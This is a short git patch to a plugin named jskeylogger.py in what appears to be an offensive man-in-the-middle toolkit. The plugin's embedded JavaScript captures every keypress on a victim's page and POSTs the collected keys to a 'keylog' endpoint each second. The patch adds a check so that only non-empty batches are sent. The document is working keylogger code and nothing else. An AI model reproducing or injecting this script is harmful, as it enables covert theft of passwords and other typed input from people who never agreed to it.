From e5f41a00fa8e2a4778856f6993581ddd070395b5 Mon Sep 17 00:00:00 2001
From: byt3bl33d3r <byt3bl33d3r@gmail.com>
Date: Fri, 11 Jul 2014 11:05:18 +0200
Subject: [PATCH] added check for keys length

---
 plugins/jskeylogger.py | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/plugins/jskeylogger.py b/plugins/jskeylogger.py
index 55505d2..db04c5c 100644
--- a/plugins/jskeylogger.py
+++ b/plugins/jskeylogger.py
@@ -50,10 +50,12 @@ document.onkeypress = function(e) {
 }
 
 window.setInterval(function(){
-    xhr.open("POST", "keylog", true);
-    xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
-    xhr.send(keys);
-    keys = '';
+    if (keys.length > 0){
+        xhr.open("POST", "keylog", true);
+        xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
+        xhr.send(keys);
+        keys = '';
+    }
 }, 1000);
 </script>"""